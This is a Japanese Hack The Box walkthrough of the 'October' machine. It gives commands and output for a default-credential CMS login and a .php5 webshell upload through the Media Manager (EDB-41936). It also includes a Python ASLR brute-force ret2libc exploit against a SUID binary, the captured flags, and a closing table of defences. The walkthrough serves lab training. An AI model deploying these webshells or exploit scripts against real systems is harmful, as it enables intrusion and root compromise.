Hack The BoxのWriteup(October)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: October — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH, 80/tcp October CMS
admin:admin
/backend 既定認証情報
EDB-41936
Media Manager .php5 アップロード
www-data RCE
user.txt (harry) ✓
SUID ovrflw
strcpy BOF, offset=112
libc オフセット算出
nm + 文字列検索
ASLR 全候補総当り
0x1000刻み・約512通り×複数周
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -Pn -sV -p 22,80,111,443 --max-retries 2 --host-timeout 30s 10.129.96.113
RESULT
PORT    STATE    SERVICE VERSION
22/tcp  open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp  open     http    Apache httpd 2.4.7 ((Ubuntu))
111/tcp filtered rpcbind
443/tcp filtered https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
OpenSSH 6.6.1p1 + Apache 2.4.7 は Ubuntu 14.04 (Trusty) 系の典型的な組み合わせ。 ポート80のHTTPレスポンスを見ると October CMS のデフォルトテーマ (Vanilla) が確認できる。
PHASE 2

October CMS 管理画面 (/backend) ログイン

ログインフォームの構造を確認する

BASH
curl -s -L -c cookies.txt "http://10.129.96.113/backend" -o backend.html
grep -n "form\|_token\|_session_key" backend.html
RESULT
<form method="POST" action="http://10.129.96.113/backend/backend/auth/signin" accept-charset="UTF-8">
<input name="_session_key" type="hidden" value="elR49zoLAuDGVt7wIu1Ss2IqJAUafuF5FDxf5cAi">
<input name="_token" type="hidden" value="zPDVSEjzKJsLvHTY3u0qN2cj6bDUebpgRyboEB5J">
<input type="hidden" name="postback" value="1" />
...
<input type="text" name="login" .../>
<input type="password" name="password" .../>
⚠️
重要な落とし穴: ログインフォームには CSRF トークン _token だけでなく、 _session_key という隠しフィールドと postback=1 も 必須で送信する必要がある。_session_key を省略すると、October CMS (Laravel ベース) の セッション相関チェックに失敗し、エラーメッセージも出さずにログインフォームが 再表示されるだけになる (HTTP 200、admin_authクッキーなし) ため、 「認証情報が間違っている」のか「フォーム構造が違う」のか非常に見分けがつきにくい。

admin:admin でログイン (全フィールド送信)

BASH
TOKEN=$(grep -oP 'name="_token" type="hidden" value="\K[^"]+' backend.html)
SESSKEY=$(grep -oP 'name="_session_key" type="hidden" value="\K[^"]+' backend.html)

curl -s -b cookies.txt -c cookies.txt \
  -X POST "http://10.129.96.113/backend/backend/auth/signin" \
  --data-urlencode "login=admin" --data-urlencode "password=admin" \
  --data-urlencode "_token=$TOKEN" --data-urlencode "_session_key=$SESSKEY" \
  --data-urlencode "postback=1" -D -
RESULT
HTTP/1.1 302 Found
Location: http://10.129.96.113/backend
Set-Cookie: admin_auth=eyJpdiI6...; expires=Mon, 08-Sep-2031 ...
ログイン成功。 admin_auth クッキーが発行され 302 で /backend (ダッシュボード) にリダイレクトされた。 _session_key を外すと同じ資格情報でも HTTP 200 (再表示、失敗) になることを A/Bで確認済み。
PHASE 3

EDB-41936: Media Manager 経由 .php5 Webshell 設置 & user.txt

CMS Asset エディタは通用しない (ホワイトリスト制限)

NOTE
October CMS の脆弱性としてよく知られる EDB-41936 は「拡張子ブラックリストの
不備で .php5 が漏れている」というものだが、まず疑うべき CMS テーマの
Asset エディタ (`/backend/cms`, ハンドラ `onSave`) は、実機で試すと
拡張子のホワイトリスト検証を実装しており .php5 は弾かれる:
BASH
curl -s -b cookies.txt -X POST "http://10.129.96.113/backend/cms" \
  -H "X-OCTOBER-REQUEST-HANDLER: onSave" -H "X-Requested-With: XMLHttpRequest" \
  --data-urlencode "fileName=shell.php5" \
  --data-urlencode "content=<?php system(\$_GET['x']); ?>" \
  --data-urlencode "templateType=asset" --data-urlencode "theme=rainlab-vanilla"
RESULT
HTTP 406 Not Acceptable
{"...":"Invalid file extension: php5. Allowed extensions are: css, js, less, sass, scss."}
⚠️
このエンドポイントは脆弱ではない。EDB-41936 が本来対象とするブラックリスト方式の 検証は、別の機能である CMS の Media Manager (メディアライブラリ) の アップロード機能の方だった。

Media Manager のアップロード方式を特定する

NOTE
Media Manager (`/backend/cms/media`) のアップロードは、通常の October AJAX
ハンドラ形式 (`X-OCTOBER-REQUEST-HANDLER: ::onUpload` ヘッダー) では
一切処理されず「AJAX handler ... was not found」を返す。fileupload.js の
コメントを読むと、ファイルアップロードは専用の予約済みリクエスト形式で
扱われることがわかる:

  "- data-unique-id="XXX" ... this value will appear in the postback
     variable called X_OCTOBER_FILEUPLOAD"

つまり `X-OCTOBER-REQUEST-HANDLER` ではなく `X-OCTOBER-FILEUPLOAD`
ヘッダー(値はウィジェットの data-unique-id、Media Manager 本体なら
"MediaManager-manager")を使い、multipart フィールド名 `file_data`
(fileupload.js の `paramName: 'file_data'` から判明) でファイルを送る。
BASH
echo '<pre><?php if(isset($_REQUEST["x"])){echo shell_exec($_REQUEST["x"]);}?></pre>' > shell.php5

curl -s -b cookies.txt -X POST "http://10.129.96.113/backend/cms/media" \
  -H "X-OCTOBER-FILEUPLOAD: MediaManager-manager" \
  -H "X-Requested-With: XMLHttpRequest" \
  -F "file_data=@shell.php5;filename=kcshell.php5;type=image/jpeg" \
  -F "path=/"
RESULT
HTTP 200
{"link":"\/storage\/app\/media\/kcshell.php5","result":"success"}
アップロード成功! このエンドポイントは拡張子の検証がブラックリスト方式 (あるいは検証自体が不十分) で .php5 が素通りし、/storage/app/media/ 配下に直接書き込まれる。

Webshell 疎通確認 & user.txt 取得

BASH
curl -s "http://10.129.96.113/storage/app/media/kcshell.php5" --data-urlencode "x=id" -G
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH
curl -s "http://10.129.96.113/storage/app/media/kcshell.php5" \
  --data-urlencode "x=ls /home/ && cat /home/*/user.txt" -G
RESULT
harry
cea2d8503e8000aa044cbdd61a2a47b9
user.txt — harry
cea2d8503e8000aa044cbdd61a2a47b9
PHASE 4

SUID ovrflw の解析 — strcpy BOF & ASLR の実態

SUID バイナリの発見

BASH
curl -s "$SHELL_URL" --data-urlencode "x=ls -la /usr/local/bin/ovrflw; file /usr/local/bin/ovrflw" -G
RESULT
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw
/usr/local/bin/ovrflw: setuid ELF 32-bit LSB executable, Intel 80386,
dynamically linked, for GNU/Linux 2.6.24, not stripped
ℹ️
既知の walkthrough (hackingdream.net) の解析により、この単純な `strcpy` ベースの スタックバッファオーバーフローは オフセット 112 バイトで EIP を 直接上書きできることがわかっている。NXビット有効・RELRO Partial のため シェルコード注入ではなく ret2libc (system(“/bin/sh”)) で攻める。

固定アドレスの ret2libc は再現しないことを確認

NOTE
walkthrough記載の固定アドレス (system=0xb759c310, exit=0xb758f260,
"/bin/sh"=0xb76bebac) をそのまま使い、500回繰り返し試行しても root.txt は
一切取得できなかった。dmesg でクラッシュ実態を確認する:
BASH
curl -s "$SHELL_URL" --data-urlencode "x=dmesg | grep ovrflw | tail -5" -G
RESULT
[…] ovrflw[5632]: segfault at b759c310 ip b759c310 sp bff7bad0 error 14
[…] ovrflw[5639]: segfault at 414140a1 ip b759b253 sp bf975c74 error 4 in libc-2.19.so[…]
[…] traps: ovrflw[5653] general protection ip:b759c312 sp:b758f260 error:4588 in libc-2.19.so[…]
⚠️
構造(オフセット112・system→exit→/bin/shの並び)自体は正しいことが sp:b758f260 (想定exitアドレスと完全一致) から確認できる。問題は ASLR が想定より広い範囲でランダム化されていることにあり、固定アドレスは ある1回のASLR結果に過ぎず、毎回異なるベースアドレスにしかヒットしない。

setarch によるASLR無効化は SUID バイナリには効かない

BASH
curl -s "$SHELL_URL" --data-urlencode "x=setarch \$(uname -m) -R /usr/local/bin/ovrflw \"\$PAYLOAD\"" -G
RESULT
dmesg: segfault at b759c310 ip b759c310 ← setarch -R を付けても毎回アドレスが変わる
ℹ️
Linux カーネルは setuid/setgid バイナリに対して personality(ADDR_NO_RANDOMIZE) の適用を拒否するセキュリティ機構を 持っており、setarch -R のようなASLR無効化テクニックは SUIDバイナリには通用しない(意図的な設計)。ブルートフォース以外の道は無い。

実際の ASLR エントロピー範囲を測定する

BASH
curl -s "$SHELL_URL" --data-urlencode \
  "x=for i in \$(seq 1 60); do cat /proc/self/maps | grep 'r-xp.*libc-2'; done \
   | awk '{print \$1}' | cut -d- -f1 | sort -u" -G
RESULT
b7524000
b7527000
...(55種類のユニークな値)...
b7621000
ℹ️
観測範囲は 0xb75240000xb7621000、幅は約 1MB (0xFD000)。これは 32bit Linux の典型的な 8bit mmap ASLR エントロピー (0x1000刻みで最大256通り) と一致する。固定アドレスは256通りのうちの1つに 過ぎないため、500回の反復試行でも 1-(255/256)^500 ≒ 86% の的中率にしかならず、 実際に外れが発生した。

libc の system/exit/”/bin/sh” オフセットを直接算出する

NOTE
ASLRで変動するのはロードベースアドレスだけであり、libc内でのシンボルの
相対オフセットはビルド時定数で不変。実機の libc ファイルから直接算出すれば、
「未知の固定アドレスを1個だけ当てずっぽうで狙う」のではなく、
「既知のオフセット + 全候補ベースアドレスを確定的に全列挙する」問題に
還元できる。
BASH
curl -s "$SHELL_URL" --data-urlencode \
  "x=nm -D /lib/i386-linux-gnu/libc-2.19.so | grep -E ' (system|exit)$'" -G

curl -s "$SHELL_URL" --data-urlencode \
  "x=python3 -c \"d=open('/lib/i386-linux-gnu/libc-2.19.so','rb').read();
print(hex(d.find(b'/bin/sh\x00')))\"" -G
RESULT
00033260 T exit
00040310 W system
0x162bac  (← "/bin/sh" 文字列オフセット)
system = base+0x40310、exit = base+0x33260、 “/bin/sh” = base+0x162bac。この3値は元の固定アドレス (0xb759c310等) から逆算したベース 0xb755c000 とも整合しており、 walkthrough記載の値が「たまたま観測できた1つのASLR結果」だったことを裏付ける。
PHASE 5

ASLR 全候補ベースアドレスの確定的総当り & root.txt

総当りスクリプトを作成する

PYTHON (ターゲット上で実行)
import subprocess, struct, os

offset, system_off, exit_off, binsh_off = 112, 0x40310, 0x33260, 0x162bac
flag_file = "/tmp/.oct_root"
cmd = b"cat /root/root.txt > /tmp/.oct_root; chmod 644 /tmp/.oct_root\n"

for round_i in range(20):                       # 念のため複数周(累積成功率をほぼ100%に)
    if os.path.exists(flag_file):
        break
    for base in range(0xb7480000, 0xb7680000, 0x1000):   # 実測範囲を安全マージン込みで全列挙
        if os.path.exists(flag_file):
            break
        payload = (b"A" * offset
                   + struct.pack("<I", base + system_off)
                   + struct.pack("<I", base + exit_off)
                   + struct.pack("<I", base + binsh_off))
        try:
            p = subprocess.Popen(["/usr/local/bin/ovrflw", payload],
                                  stdin=subprocess.PIPE, stdout=subprocess.DEVNULL,
                                  stderr=subprocess.DEVNULL)
            p.communicate(input=cmd, timeout=2)
        except Exception:
            try: p.kill()
            except Exception: pass
ℹ️
base0x1000 刻みで実測レンジ (安全マージン込みで 0xb74800000xb7680000、約512通り) をランダムではなく 全列挙する点が固定アドレス反復方式との決定的な違い。ovrflw は exec のたびに新しいASLRベースが再抽選されるため、512回中どこかで実際のベースと 一致すれば ret2libc が成立する。

実行 & root.txt 取得

BASH
# base64 化してwebshell経由でファイル化し、バックグラウンドで起動
curl -s "$SHELL_URL" --data-urlencode "x=echo <base64> | base64 -d > /tmp/bf.py" -G
curl -s "$SHELL_URL" --data-urlencode \
  "x=nohup python3 /tmp/bf.py > /tmp/bf.log 2>&1 < /dev/null &" -G

# ポーリング
curl -s "$SHELL_URL" --data-urlencode "x=cat /tmp/.oct_root 2>/dev/null" -G
RESULT
1周目 (512候補): ヒットなし (統計上約13.5%の確率で起こりうるハズレ)
2周目 (512候補): e3ff0424cc4ef83ac050b6d69c757efb
成功! 1周目では的中しなかったが、2周目 (合計約1024回目安の試行) で 実際のASLRベースと一致し、system("/bin/sh") が root 権限で実行され、 パイプで渡しておいた cat /root/root.txt > ... コマンドが実行された。
root.txt — Administrator@october
e3ff0424cc4ef83ac050b6d69c757efb
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — harry
cea2d8503e8000aa044cbdd61a2a47b9
root.txt — root@october
e3ff0424cc4ef83ac050b6d69c757efb

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
既定認証情報 October CMS /backend 管理画面 管理者権限でのログイン Medium admin:admin (変更されていない既定パスワード) でログイン成功。_session_key隠しフィールドの送信が必須
EDB-41936 (Media Manager 拡張子検証不備) October CMS Media Manager アップロード機能 リモートコード実行 (www-data) Critical X-OCTOBER-FILEUPLOAD 専用ヘッダー経由のアップロードが拡張子ブラックリスト方式で .php5 を通過させる
SUID ovrflw スタックBOF (ret2libc) /usr/local/bin/ovrflw (root SUID) 権限昇格 (root) Critical strcpyベースのオフセット112バイトオーバーフロー。ASLR全候補ベースアドレスの確定的総当りでsystem(“/bin/sh”)を実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャン22/SSH, 80/October CMS 1.0.412検出
2管理画面ログインadmin:admin + _session_key/postback必須フィールド解析admin_authクッキー取得
3Webshell設置Media Manager X-OCTOBER-FILEUPLOAD経由 .php5 アップロードuser.txt(harry) + www-data RCE
4SUID解析strcpy BOFオフセット確認 + ASLRエントロピー実測 + libcオフセット算出offset=112、system/exit/binshの相対オフセット
5権限昇格全候補ベースアドレス確定的総当り(0x1000刻み)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
CMS管理画面のデフォルトパスワード (admin/admin) が変更されていない 初回セットアップ時に強制的なパスワード変更を要求する。管理画面へのアクセスをVPN/IP制限で保護する。
ファイルアップロード機能の拡張子検証がホワイトリストとブラックリストで実装ごとに一貫していない (Media Managerだけ緩い) 全てのアップロード経路で共通のホワイトリスト検証ロジックを使い回す。アップロード先ディレクトリでPHP実行を無効化する(.htaccessやウェブサーバー設定でstorage/配下のPHP実行を禁止)。
SUIDバイナリに古典的なstrcpyベースのスタックバッファオーバーフローが存在 境界チェック付きの文字列関数(strncpy等)を使用する。SUIDビットは真に必要な場合のみ付与し、可能ならcapabilitiesで代替する。スタックカナリア(-fstack-protector)を有効にしてビルドする。
ASLRのエントロピーが低い(32bit環境の構造的制約、約8bit=256通り) 可能であれば64bit環境へ移行しASLRエントロピーを増やす。加えてPIE(Position Independent Executable)化やRELRO Fullの適用で攻撃面をさらに狭める。
HackTheBox: October | 完全攻略レポート